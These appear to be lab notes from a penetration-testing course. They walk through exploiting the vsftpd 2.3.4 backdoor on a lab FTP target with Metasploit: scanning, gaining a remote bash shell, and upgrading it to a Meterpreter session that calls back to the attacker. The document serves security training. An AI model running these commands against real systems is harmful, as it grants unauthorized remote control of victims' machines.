🔬FTP - MSF Exploit

Lab 1

🔬 Vulnerable FTP Server

• Target IP: 192.80.80.3

• Exploit the target with the appropriate Metasploit Framework module

• vsftpd 2.3.4 - Backdoor Command Execution

ip -br -c a
service postgresql start && msfconsole -q

db_status
setg RHOSTS 192.80.80.3
setg RHOST 192.80.80.3
workspace -a vsftpd2.3.4

• Perform an nmap scan directly into MSF

db_nmap -sS -sV -O 192.80.80.3

db_nmap -sS -sV -O 192.80.80.3

analyze # error
search vsftpd
use exploit/unix/ftp/vsftpd_234_backdoor
info
# Description:
#   This module exploits a malicious backdoor that was added to the 
#   VSFTPD download archive. This backdoor was introduced into the 
#   vsftpd-2.3.4.tar.gz archive between June 30th 2011 and July 1st 2011 
#   according to the most recent information available. This backdoor 
#   was removed on July 3rd 2011.
options
run

/bin/bash -i

Metasploit - exploit/unix/ftp/vsftpd_234_backdoor

• Shell to Meterpreter post exploitation

background
sessions
search shell_to_meterpreter
use post/multi/manage/shell_to_meterpreter
set SESSION 2
set LHOST eth1
run

sessions
sessions 3

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